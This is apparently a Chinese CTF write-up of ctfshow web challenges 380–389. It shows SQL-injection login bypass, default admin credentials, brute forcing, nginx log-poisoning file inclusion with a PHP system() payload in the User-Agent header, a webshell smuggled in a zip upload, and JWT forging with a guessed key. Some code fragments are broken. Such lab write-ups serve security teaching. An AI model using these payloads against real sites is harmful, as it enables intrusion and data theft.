ctfshow里黑盒测试,记录一下!
web380
没啥突破口,扫一下!
扫描过程略过。。。。。。,结论就是扫到了page.php目录
打开显示失败,但是看$id的参数应该存在文件包含!
?id=flag
web381
访问一下
web382
还是继续访问这个路径,是个登陆界面!
第一种解法就是万能密码登录
eg:admin 'or ‘1’=‘1’#
第二种当然就是用bp直接爆破!
第三种就是sqlmap跑
web383
和上题一样
web384
注意有提示,显然还是爆破
第一个变量-两位小写的英文字母
第二个变量-三位数字
web385
得到提示访问install
继续访问
然后继续后台登录,admin/admin888
web386
依然存在install页面
扫目录发现还存在clear.php页面
清理完成,/clear.php?file=install/lock.dat
继续访问install/?install,还是默认密码
web387
扫目录可以发现有robots.txt
提示文件不存在,需要换入file参数,这里重点来了,可以通过包含日志文件/var/www/nginx/access.log,访问日志文件写入命令,访问的同时命令也就执行了
,然后再去访问生成的文件!
用bp写入吧
然后访问
flag在alsckdfy/check.php,原理一样还是日志包含
/var/www/html/2.txt');?>
web388
无回显加免杀马
再次访问/var/www/html已经显示一句话
扫目录的时候发现了/alsckdfy/editor/目录,访问一下,是md编辑器
发现可以上传图片以及压缩包!因为允许上传zip文件,所以写一句话然后把后缀改为zip!
';file_put_contents(‘/var/www/html/1.php’,$a);
?>
并且给出了路径
这个时候再去执行包含文件/debug/?file=/var/www/html/alsckdfy/attached/file/20220404/20220404130517_39664.zip
此时文件内容已经被读取写入日志了,再去包含日志文件/debug/?file=/var/log/nginx/access.log
,写入的shell就执行了,生成1.php,访问执行拿到flag
这个时候去看日志就能得到flag!
还有一种方法,包含日志写入shell
然后再访问一次
/debug/?file=/var/log/nginx/access.log
,就会生成shell
还有一种方法
我们传一个file参数给它,我们访问:
题目链接/debug/?file=/var/www/html/clear.php
发现它执行了clear.php文件,那我们可以通过在日志中传入木马来实现任意文件访问:
题目链接/debug/?file=/var/log/nginx/access.log
若在网站根目录写入2.html会重定向,我们可以将2.html写入/alsckdfy/目录下即可正常访问。
payload:
User-Agent : <?php system('cat /var/www/html/alsckdfy/check.php > /var/www/html/alsckdfy/1.html');?>
访问1.html查看源代码即可看到flag。
web389
debug/?file=/var/www/html/index.php
查看cookie,发现auth的值为jwt,放到jwt.io
里解码,发现alg为HS256。我们盲猜一波key为123456。把header里的user改为admin,再次执行debug,提示:“已写入日志“